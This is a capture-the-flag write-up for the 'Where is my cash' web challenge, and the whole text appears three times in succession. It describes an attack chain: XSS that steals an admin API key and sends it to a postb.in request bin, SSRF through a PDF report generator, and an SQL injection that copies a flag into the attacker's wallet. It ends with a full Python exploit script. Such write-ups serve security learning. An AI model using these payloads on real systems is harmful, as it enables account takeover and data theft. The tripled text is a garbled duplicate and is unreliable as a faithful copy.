# Where is my cash Writeup (medium, 2 solves)

The [Official writeup shared
here](https://gist.github.com/l4yton/da9232b992454b429c93af0d05a1fe2f), the
trick for getting the admin key was to force the browser to use the... cache.
I've updated this writeup to include this part of the exploit because mine
varies in how I do the XSS and exfill the actual flag.

## The Exploit Chain

This is how the exploit chain works, sadly I wasn't able to get the api_key
during the CTF but have updated this writeup to include it after the official
writeup was shared, and confirmed my other steps work.

1\. XSS the Admin to steal its `api_key`  
2\. Send malicicous PDF using SSRF from the JavaScript to
`/1.0/admin/createReport`. This is necessary because  
the caller of the next API must be from `127.0.0.1`.  
3\. The JavaScript makes a request to `/internal/createTestWallet` which is
SQLi vulnerable.  
4\. The SQLi creates a wallet for our account and pulls the flag from another
wallet.  
5\. View the flag on the /wallets page when logged in.

## Cross-Site Scripting (XSS)

The application places the query param `api_key` in the DOM like so:

```js  
<script>  
const API_TOKEN = "{{{ token }}}";  
</script>  
```

The backend applies some small filters to it, which we can work around.

```js  
return req.query.api_key.replace(/;|\n|\r/g, "");  
```

The simplest approach is to have a payload like
`api_key="</script><script>PAYLOAD HERE` and  
this works locally, but fails when triggering it against the remote server. By
running  
the server locally I was able to confirm the Chromium's XSS Auditor is
blocking this,  
so I needed another way.

Our payload looks like this instead `api_key="%2BEXPLOIT//`. We
_intentionally_ include the URI  
encoded version of `+` there, and we'll need to URI encode the whole param
once more before using it.  
This was another gotcha with making the admin visit. Because it gets decoded
when we submit it to the  
server, it then passes it in as a string with a `+` to visit, and the plus is
treated as a space and  
doesn't show up in the rendered output, thus we get a syntax error and it
fails. When all is as expected,  
we get it to render like so.

```js  
<script>  
const API_TOKEN = ""+EXPLOIT_HERE//";  
</script>  
```

This is somewhat restrictive because you can't do `=` in the exploit easily
and cannot use `;`,  
but we can also work around this by wrapping each line of our exploit in a
function, iterate over it,  
and call each function. This can be seen in the exploit script itself, but it
ends up basically looking  
like this, and we can share state between calls using the global window.

```js  
const API_TOKEN = ""+[() => { window.x = 1 }, () => { console.log(x+1)
}].forEach(f => f())//";  
```

A POC of the basic form of this can be seen locally with this URL, but note
that we don't do the double encoding of `+`  
because we want it to trigger in our browser so we can iterate on it.

```  
https://wimc.ctf.allesctf.net/?api_key=%22%2Balert%28%22hi%22%29%2F%2F  
```

### Making the Admin Visit

We submit the support form on https://wimc.ctf.allesctf.net/support with the
XSS'd URL. You can test this like so:

1\. Create a [Postbin](https://postb.in) to log requests  
2\. Modify this URL to include your Postbin IDs
`https://wimc.ctf.allesctf.net/?api_key=%22%252Bwindow.location.replace%28%22https%3A%2F%2Fpostb.in%2F1599338333507-1126356946770%22%29%2F%2F`  
3\. Submit the form on https://wimc.ctf.allesctf.net/support  
4\. Refresh the Postbin to see the request.

### Getting the API Key

From the official writeup, the intended solution was to force the browser to
load the admin user from the cache, which allows us to get their API key. In
my exploit code this looks like so:

```javascript  
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="  
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET",
cache:"force-cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))  
```

Another user on IRC, Webuser4344, shared an alternate way they were able to
get the flag. In my exploration I was somewhat close to this and attempting to
use iframes to do something similar, but didn't get it all the way there.
Here's how it worked:

1\. The first XSS payload opens a new window  
2\. In the second window, call `window.opener.history.back()` to navigate back
to the page with api_key in the url  
3\. Read the URL `window.opener.location.href` and exfil it.

## Server-Side Request Forgery (SSRF)

Once we have the `api_key`, we can authenticate as the admin and call the
`/1.0/admin/createReport` endpoint which  
allows us to upload arbitrary HTML which it will render as a PDF and then
return to us. We can include a `<script>`  
in our HTML and use that to trigger the SSRF. The HTML we submit looks like
so:

```html  
<script>  
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from
general where username='tpurp' limit 1), 1, (select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();  
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);  
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');  
http.send(data);  
</script>  
```

## The SQLi

The implementation of the `/internal/createTestWallet` endpoint interpolates
in the balance parameter directly into the query like so:

```js  
var balance = req.body["balance"] || 1337;  
var ip = req.connection.remoteAddress;

if (ip === "127.0.0.1") {  
// create testing wallet without owner  
var wallet_id = crypto.randomBytes(20).toString('hex').substring(0,20);  
connection.query(`INSERT INTO wallets VALUES ('${wallet_id}', NULL,
${balance}, 'TESTING WALLET 1234');`, (err, data) => {  
```

The flag itself is stoed as the note for a wallet owner by a different user,
so we can have the SQLi create a new wallet for our account, and set the note
to the flag from the other wallet. The appliction never exposes our user_id to
us, so we also use a subquery to select our account. This way we can see it on
our wallets page after the injection runs.

The query itself looks like this, with newlines added for clarity. One issue
that came up with MySQL is that it doesn't like you selecting from the same
table (`wallets`) you are inserting into, but by aliasing it to `w` we make
this error go away.  
```sql  
INSERT INTO wallets VALUES  
('${wallet_id}', NULL, 1, 'TESTING WALLET 1234'),  
(  
'1',  
(select user_id from general where username='tpurp' limit 1),  
1,  
(select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)  
);  
#, 'TESTING WALLET 1234  
```

## The Flag

Once this runs, we simply need to log into the application, view the wallets
page, click on wallet #1, and the flag will be on the page!

## Exploit Script

```python  
#!/usr/bin/env python3  
import sys  
import requests  
from urllib.parse import urlencode, quote_plus

"""  
USAGE:  
Exploit a local server, this works because I locally removed recaptcha and
modified some of  
the static scripts to reference the local server.  
python3 zexploit.py LOCAL

Generate the XSS'd url for the remote server. We can't auto-exploit it because
of recaptcha.  
python3 zexploit.py REMOTE  
"""

if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":  
REMOTE = True  
else:  
REMOTE = False

if REMOTE:  
BASE_URL = "https://wimc.ctf.allesctf.net/"  
ADMIN_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"  
API_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"  
else:  
# BASE_URL = "http://localhost:10002"  
BASE_URL = "http://app:1337"  
ADMIN_BASE_URL = "http://localhost:10003/1.0"  
API_BASE_URL = "http://localhost:10001/1.0"

# NOTE: This supports multiline payloads, but each line is within it's own
scope,  
# so if you want to reuse variables they need to be defined globally. Also,
you  
# can't use semicolons and if you want to use a +, you need to define it as
`%2B`.  
xss_code = """  
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="  
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET",
cache:"force-cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))  
"""  
# This payload can be used for local testing  
# fetch("http://api:1337/1.0/user", {method:"GET", cache:"force-
cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))

def build_xss_payload():  
exploit_lines = xss_code.split("\n")[1:-1]  
# We intentionally include the already encoded + to double encode it.  
# Without this it gets removed before the server actually runs it and we get  
# a JS syntax error there.  
xss_exploit = "\"%2B["  
for line in exploit_lines:  
xss_exploit += "() => {" + line + "},"

xss_exploit = xss_exploit[:-1] # trim trailing comma  
xss_exploit += "].forEach(f => f())//"  
return xss_exploit

def add_xss_url():  
xss_payload = {'api_key': build_xss_payload()}  
xss_query = urlencode(xss_payload, quote_via=quote_plus)  
return f"{BASE_URL}?{xss_query}"

def add_xss_url_no_encode():  
xss_exploit = build_xss_payload()  
return f"{BASE_URL}?api_key={xss_exploit}"

# This only works locally since recaptcha is used remotely.  
def exploit():  
url = add_xss_url_no_encode() # we use this one since requests auto-encodes  
print(f"[+] XSS URL: {url}")  
payload = {"description": "whatever", "url": url}  
req_url = f"{ADMIN_BASE_URL}/support"  
print(f"[+] POST to {req_url}")  
res = requests.post(req_url, data=payload)  
print(f"[+] {res.status_code}: {res.text}")  
return res

# We use XMLHttpRequest because fetch isn't available in the context the PDF
generator runs.  
report_xss_html = """<script>  
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from
general where username='tpurp' limit 1), 1, (select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();  
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);  
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');  
http.send(data);  
</script>  
"""  
def exploit_create_report(api_token):  
req_url = f"{API_BASE_URL}/admin/createReport"  
print(f"[+] POST to {req_url}")  
payload = {'html': report_xss_html}  
headers = {'X-API-TOKEN': api_token}  
res = requests.post(req_url, data=payload, headers=headers)  
print(f"[+] {res.status_code}")  
return res  
  
if REMOTE:  
# just print the URL since we can't automatically exploit due to recaptcha  
print(add_xss_url())  
  
# once we get api_key, update this and call  
api_key = "ADMIN_API_KEY_HERE"  
exploit_create_report(api_key)  
else:  
exploit()  
```  

Original writeup
(https://gist.github.com/jakecraige/0e27b80d2dc6caadf887a76b9e55948c).# Where is my cash Writeup (medium, 2 solves)

The [Official writeup shared
here](https://gist.github.com/l4yton/da9232b992454b429c93af0d05a1fe2f), the
trick for getting the admin key was to force the browser to use the... cache.
I've updated this writeup to include this part of the exploit because mine
varies in how I do the XSS and exfill the actual flag.

## The Exploit Chain

This is how the exploit chain works, sadly I wasn't able to get the api_key
during the CTF but have updated this writeup to include it after the official
writeup was shared, and confirmed my other steps work.

1\. XSS the Admin to steal its `api_key`  
2\. Send malicicous PDF using SSRF from the JavaScript to
`/1.0/admin/createReport`. This is necessary because  
the caller of the next API must be from `127.0.0.1`.  
3\. The JavaScript makes a request to `/internal/createTestWallet` which is
SQLi vulnerable.  
4\. The SQLi creates a wallet for our account and pulls the flag from another
wallet.  
5\. View the flag on the /wallets page when logged in.

## Cross-Site Scripting (XSS)

The application places the query param `api_key` in the DOM like so:

```js  
<script>  
const API_TOKEN = "{{{ token }}}";  
</script>  
```

The backend applies some small filters to it, which we can work around.

```js  
return req.query.api_key.replace(/;|\n|\r/g, "");  
```

The simplest approach is to have a payload like
`api_key="</script><script>PAYLOAD HERE` and  
this works locally, but fails when triggering it against the remote server. By
running  
the server locally I was able to confirm the Chromium's XSS Auditor is
blocking this,  
so I needed another way.

Our payload looks like this instead `api_key="%2BEXPLOIT//`. We
_intentionally_ include the URI  
encoded version of `+` there, and we'll need to URI encode the whole param
once more before using it.  
This was another gotcha with making the admin visit. Because it gets decoded
when we submit it to the  
server, it then passes it in as a string with a `+` to visit, and the plus is
treated as a space and  
doesn't show up in the rendered output, thus we get a syntax error and it
fails. When all is as expected,  
we get it to render like so.

```js  
<script>  
const API_TOKEN = ""+EXPLOIT_HERE//";  
</script>  
```

This is somewhat restrictive because you can't do `=` in the exploit easily
and cannot use `;`,  
but we can also work around this by wrapping each line of our exploit in a
function, iterate over it,  
and call each function. This can be seen in the exploit script itself, but it
ends up basically looking  
like this, and we can share state between calls using the global window.

```js  
const API_TOKEN = ""+[() => { window.x = 1 }, () => { console.log(x+1)
}].forEach(f => f())//";  
```

A POC of the basic form of this can be seen locally with this URL, but note
that we don't do the double encoding of `+`  
because we want it to trigger in our browser so we can iterate on it.

```  
https://wimc.ctf.allesctf.net/?api_key=%22%2Balert%28%22hi%22%29%2F%2F  
```

### Making the Admin Visit

We submit the support form on https://wimc.ctf.allesctf.net/support with the
XSS'd URL. You can test this like so:

1\. Create a [Postbin](https://postb.in) to log requests  
2\. Modify this URL to include your Postbin IDs
`https://wimc.ctf.allesctf.net/?api_key=%22%252Bwindow.location.replace%28%22https%3A%2F%2Fpostb.in%2F1599338333507-1126356946770%22%29%2F%2F`  
3\. Submit the form on https://wimc.ctf.allesctf.net/support  
4\. Refresh the Postbin to see the request.

### Getting the API Key

From the official writeup, the intended solution was to force the browser to
load the admin user from the cache, which allows us to get their API key. In
my exploit code this looks like so:

```javascript  
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="  
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET",
cache:"force-cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))  
```

Another user on IRC, Webuser4344, shared an alternate way they were able to
get the flag. In my exploration I was somewhat close to this and attempting to
use iframes to do something similar, but didn't get it all the way there.
Here's how it worked:

1\. The first XSS payload opens a new window  
2\. In the second window, call `window.opener.history.back()` to navigate back
to the page with api_key in the url  
3\. Read the URL `window.opener.location.href` and exfil it.

## Server-Side Request Forgery (SSRF)

Once we have the `api_key`, we can authenticate as the admin and call the
`/1.0/admin/createReport` endpoint which  
allows us to upload arbitrary HTML which it will render as a PDF and then
return to us. We can include a `<script>`  
in our HTML and use that to trigger the SSRF. The HTML we submit looks like
so:

```html  
<script>  
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from
general where username='tpurp' limit 1), 1, (select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();  
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);  
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');  
http.send(data);  
</script>  
```

## The SQLi

The implementation of the `/internal/createTestWallet` endpoint interpolates
in the balance parameter directly into the query like so:

```js  
var balance = req.body["balance"] || 1337;  
var ip = req.connection.remoteAddress;

if (ip === "127.0.0.1") {  
// create testing wallet without owner  
var wallet_id = crypto.randomBytes(20).toString('hex').substring(0,20);  
connection.query(`INSERT INTO wallets VALUES ('${wallet_id}', NULL,
${balance}, 'TESTING WALLET 1234');`, (err, data) => {  
```

The flag itself is stoed as the note for a wallet owner by a different user,
so we can have the SQLi create a new wallet for our account, and set the note
to the flag from the other wallet. The appliction never exposes our user_id to
us, so we also use a subquery to select our account. This way we can see it on
our wallets page after the injection runs.

The query itself looks like this, with newlines added for clarity. One issue
that came up with MySQL is that it doesn't like you selecting from the same
table (`wallets`) you are inserting into, but by aliasing it to `w` we make
this error go away.  
```sql  
INSERT INTO wallets VALUES  
('${wallet_id}', NULL, 1, 'TESTING WALLET 1234'),  
(  
'1',  
(select user_id from general where username='tpurp' limit 1),  
1,  
(select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)  
);  
#, 'TESTING WALLET 1234  
```

## The Flag

Once this runs, we simply need to log into the application, view the wallets
page, click on wallet #1, and the flag will be on the page!

## Exploit Script

```python  
#!/usr/bin/env python3  
import sys  
import requests  
from urllib.parse import urlencode, quote_plus

"""  
USAGE:  
Exploit a local server, this works because I locally removed recaptcha and
modified some of  
the static scripts to reference the local server.  
python3 zexploit.py LOCAL

Generate the XSS'd url for the remote server. We can't auto-exploit it because
of recaptcha.  
python3 zexploit.py REMOTE  
"""

if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":  
REMOTE = True  
else:  
REMOTE = False

if REMOTE:  
BASE_URL = "https://wimc.ctf.allesctf.net/"  
ADMIN_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"  
API_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"  
else:  
# BASE_URL = "http://localhost:10002"  
BASE_URL = "http://app:1337"  
ADMIN_BASE_URL = "http://localhost:10003/1.0"  
API_BASE_URL = "http://localhost:10001/1.0"

# NOTE: This supports multiline payloads, but each line is within it's own
scope,  
# so if you want to reuse variables they need to be defined globally. Also,
you  
# can't use semicolons and if you want to use a +, you need to define it as
`%2B`.  
xss_code = """  
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="  
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET",
cache:"force-cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))  
"""  
# This payload can be used for local testing  
# fetch("http://api:1337/1.0/user", {method:"GET", cache:"force-
cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))

def build_xss_payload():  
exploit_lines = xss_code.split("\n")[1:-1]  
# We intentionally include the already encoded + to double encode it.  
# Without this it gets removed before the server actually runs it and we get  
# a JS syntax error there.  
xss_exploit = "\"%2B["  
for line in exploit_lines:  
xss_exploit += "() => {" + line + "},"

xss_exploit = xss_exploit[:-1] # trim trailing comma  
xss_exploit += "].forEach(f => f())//"  
return xss_exploit

def add_xss_url():  
xss_payload = {'api_key': build_xss_payload()}  
xss_query = urlencode(xss_payload, quote_via=quote_plus)  
return f"{BASE_URL}?{xss_query}"

def add_xss_url_no_encode():  
xss_exploit = build_xss_payload()  
return f"{BASE_URL}?api_key={xss_exploit}"

# This only works locally since recaptcha is used remotely.  
def exploit():  
url = add_xss_url_no_encode() # we use this one since requests auto-encodes  
print(f"[+] XSS URL: {url}")  
payload = {"description": "whatever", "url": url}  
req_url = f"{ADMIN_BASE_URL}/support"  
print(f"[+] POST to {req_url}")  
res = requests.post(req_url, data=payload)  
print(f"[+] {res.status_code}: {res.text}")  
return res

# We use XMLHttpRequest because fetch isn't available in the context the PDF
generator runs.  
report_xss_html = """<script>  
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from
general where username='tpurp' limit 1), 1, (select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();  
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);  
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');  
http.send(data);  
</script>  
"""  
def exploit_create_report(api_token):  
req_url = f"{API_BASE_URL}/admin/createReport"  
print(f"[+] POST to {req_url}")  
payload = {'html': report_xss_html}  
headers = {'X-API-TOKEN': api_token}  
res = requests.post(req_url, data=payload, headers=headers)  
print(f"[+] {res.status_code}")  
return res  
  
if REMOTE:  
# just print the URL since we can't automatically exploit due to recaptcha  
print(add_xss_url())  
  
# once we get api_key, update this and call  
api_key = "ADMIN_API_KEY_HERE"  
exploit_create_report(api_key)  
else:  
exploit()  
```  

Original writeup
(https://gist.github.com/jakecraige/0e27b80d2dc6caadf887a76b9e55948c).# Where is my cash Writeup (medium, 2 solves)

The [Official writeup shared
here](https://gist.github.com/l4yton/da9232b992454b429c93af0d05a1fe2f), the
trick for getting the admin key was to force the browser to use the... cache.
I've updated this writeup to include this part of the exploit because mine
varies in how I do the XSS and exfill the actual flag.

## The Exploit Chain

This is how the exploit chain works, sadly I wasn't able to get the api_key
during the CTF but have updated this writeup to include it after the official
writeup was shared, and confirmed my other steps work.

1\. XSS the Admin to steal its `api_key`  
2\. Send malicicous PDF using SSRF from the JavaScript to
`/1.0/admin/createReport`. This is necessary because  
the caller of the next API must be from `127.0.0.1`.  
3\. The JavaScript makes a request to `/internal/createTestWallet` which is
SQLi vulnerable.  
4\. The SQLi creates a wallet for our account and pulls the flag from another
wallet.  
5\. View the flag on the /wallets page when logged in.

## Cross-Site Scripting (XSS)

The application places the query param `api_key` in the DOM like so:

```js  
<script>  
const API_TOKEN = "{{{ token }}}";  
</script>  
```

The backend applies some small filters to it, which we can work around.

```js  
return req.query.api_key.replace(/;|\n|\r/g, "");  
```

The simplest approach is to have a payload like
`api_key="</script><script>PAYLOAD HERE` and  
this works locally, but fails when triggering it against the remote server. By
running  
the server locally I was able to confirm the Chromium's XSS Auditor is
blocking this,  
so I needed another way.

Our payload looks like this instead `api_key="%2BEXPLOIT//`. We
_intentionally_ include the URI  
encoded version of `+` there, and we'll need to URI encode the whole param
once more before using it.  
This was another gotcha with making the admin visit. Because it gets decoded
when we submit it to the  
server, it then passes it in as a string with a `+` to visit, and the plus is
treated as a space and  
doesn't show up in the rendered output, thus we get a syntax error and it
fails. When all is as expected,  
we get it to render like so.

```js  
<script>  
const API_TOKEN = ""+EXPLOIT_HERE//";  
</script>  
```

This is somewhat restrictive because you can't do `=` in the exploit easily
and cannot use `;`,  
but we can also work around this by wrapping each line of our exploit in a
function, iterate over it,  
and call each function. This can be seen in the exploit script itself, but it
ends up basically looking  
like this, and we can share state between calls using the global window.

```js  
const API_TOKEN = ""+[() => { window.x = 1 }, () => { console.log(x+1)
}].forEach(f => f())//";  
```

A POC of the basic form of this can be seen locally with this URL, but note
that we don't do the double encoding of `+`  
because we want it to trigger in our browser so we can iterate on it.

```  
https://wimc.ctf.allesctf.net/?api_key=%22%2Balert%28%22hi%22%29%2F%2F  
```

### Making the Admin Visit

We submit the support form on https://wimc.ctf.allesctf.net/support with the
XSS'd URL. You can test this like so:

1\. Create a [Postbin](https://postb.in) to log requests  
2\. Modify this URL to include your Postbin IDs
`https://wimc.ctf.allesctf.net/?api_key=%22%252Bwindow.location.replace%28%22https%3A%2F%2Fpostb.in%2F1599338333507-1126356946770%22%29%2F%2F`  
3\. Submit the form on https://wimc.ctf.allesctf.net/support  
4\. Refresh the Postbin to see the request.

### Getting the API Key

From the official writeup, the intended solution was to force the browser to
load the admin user from the cache, which allows us to get their API key. In
my exploit code this looks like so:

```javascript  
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="  
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET",
cache:"force-cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))  
```

Another user on IRC, Webuser4344, shared an alternate way they were able to
get the flag. In my exploration I was somewhat close to this and attempting to
use iframes to do something similar, but didn't get it all the way there.
Here's how it worked:

1\. The first XSS payload opens a new window  
2\. In the second window, call `window.opener.history.back()` to navigate back
to the page with api_key in the url  
3\. Read the URL `window.opener.location.href` and exfil it.

## Server-Side Request Forgery (SSRF)

Once we have the `api_key`, we can authenticate as the admin and call the
`/1.0/admin/createReport` endpoint which  
allows us to upload arbitrary HTML which it will render as a PDF and then
return to us. We can include a `<script>`  
in our HTML and use that to trigger the SSRF. The HTML we submit looks like
so:

```html  
<script>  
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from
general where username='tpurp' limit 1), 1, (select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();  
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);  
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');  
http.send(data);  
</script>  
```

## The SQLi

The implementation of the `/internal/createTestWallet` endpoint interpolates
in the balance parameter directly into the query like so:

```js  
var balance = req.body["balance"] || 1337;  
var ip = req.connection.remoteAddress;

if (ip === "127.0.0.1") {  
// create testing wallet without owner  
var wallet_id = crypto.randomBytes(20).toString('hex').substring(0,20);  
connection.query(`INSERT INTO wallets VALUES ('${wallet_id}', NULL,
${balance}, 'TESTING WALLET 1234');`, (err, data) => {  
```

The flag itself is stoed as the note for a wallet owner by a different user,
so we can have the SQLi create a new wallet for our account, and set the note
to the flag from the other wallet. The appliction never exposes our user_id to
us, so we also use a subquery to select our account. This way we can see it on
our wallets page after the injection runs.

The query itself looks like this, with newlines added for clarity. One issue
that came up with MySQL is that it doesn't like you selecting from the same
table (`wallets`) you are inserting into, but by aliasing it to `w` we make
this error go away.  
```sql  
INSERT INTO wallets VALUES  
('${wallet_id}', NULL, 1, 'TESTING WALLET 1234'),  
(  
'1',  
(select user_id from general where username='tpurp' limit 1),  
1,  
(select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)  
);  
#, 'TESTING WALLET 1234  
```

## The Flag

Once this runs, we simply need to log into the application, view the wallets
page, click on wallet #1, and the flag will be on the page!

## Exploit Script

```python  
#!/usr/bin/env python3  
import sys  
import requests  
from urllib.parse import urlencode, quote_plus

"""  
USAGE:  
Exploit a local server, this works because I locally removed recaptcha and
modified some of  
the static scripts to reference the local server.  
python3 zexploit.py LOCAL

Generate the XSS'd url for the remote server. We can't auto-exploit it because
of recaptcha.  
python3 zexploit.py REMOTE  
"""

if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":  
REMOTE = True  
else:  
REMOTE = False

if REMOTE:  
BASE_URL = "https://wimc.ctf.allesctf.net/"  
ADMIN_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"  
API_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"  
else:  
# BASE_URL = "http://localhost:10002"  
BASE_URL = "http://app:1337"  
ADMIN_BASE_URL = "http://localhost:10003/1.0"  
API_BASE_URL = "http://localhost:10001/1.0"

# NOTE: This supports multiline payloads, but each line is within it's own
scope,  
# so if you want to reuse variables they need to be defined globally. Also,
you  
# can't use semicolons and if you want to use a +, you need to define it as
`%2B`.  
xss_code = """  
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="  
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET",
cache:"force-cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))  
"""  
# This payload can be used for local testing  
# fetch("http://api:1337/1.0/user", {method:"GET", cache:"force-
cache"}).then(a => a.json()).then(b =>
location.href=requestbin%2BJSON.stringify(b))

def build_xss_payload():  
exploit_lines = xss_code.split("\n")[1:-1]  
# We intentionally include the already encoded + to double encode it.  
# Without this it gets removed before the server actually runs it and we get  
# a JS syntax error there.  
xss_exploit = "\"%2B["  
for line in exploit_lines:  
xss_exploit += "() => {" + line + "},"

xss_exploit = xss_exploit[:-1] # trim trailing comma  
xss_exploit += "].forEach(f => f())//"  
return xss_exploit

def add_xss_url():  
xss_payload = {'api_key': build_xss_payload()}  
xss_query = urlencode(xss_payload, quote_via=quote_plus)  
return f"{BASE_URL}?{xss_query}"

def add_xss_url_no_encode():  
xss_exploit = build_xss_payload()  
return f"{BASE_URL}?api_key={xss_exploit}"

# This only works locally since recaptcha is used remotely.  
def exploit():  
url = add_xss_url_no_encode() # we use this one since requests auto-encodes  
print(f"[+] XSS URL: {url}")  
payload = {"description": "whatever", "url": url}  
req_url = f"{ADMIN_BASE_URL}/support"  
print(f"[+] POST to {req_url}")  
res = requests.post(req_url, data=payload)  
print(f"[+] {res.status_code}: {res.text}")  
return res

# We use XMLHttpRequest because fetch isn't available in the context the PDF
generator runs.  
report_xss_html = """<script>  
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from
general where username='tpurp' limit 1), 1, (select note from wallets w where
owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();  
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);  
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');  
http.send(data);  
</script>  
"""  
def exploit_create_report(api_token):  
req_url = f"{API_BASE_URL}/admin/createReport"  
print(f"[+] POST to {req_url}")  
payload = {'html': report_xss_html}  
headers = {'X-API-TOKEN': api_token}  
res = requests.post(req_url, data=payload, headers=headers)  
print(f"[+] {res.status_code}")  
return res  
  
if REMOTE:  
# just print the URL since we can't automatically exploit due to recaptcha  
print(add_xss_url())  
  
# once we get api_key, update this and call  
api_key = "ADMIN_API_KEY_HERE"  
exploit_create_report(api_key)  
else:  
exploit()  
```  

Original writeup
(https://gist.github.com/jakecraige/0e27b80d2dc6caadf887a76b9e55948c).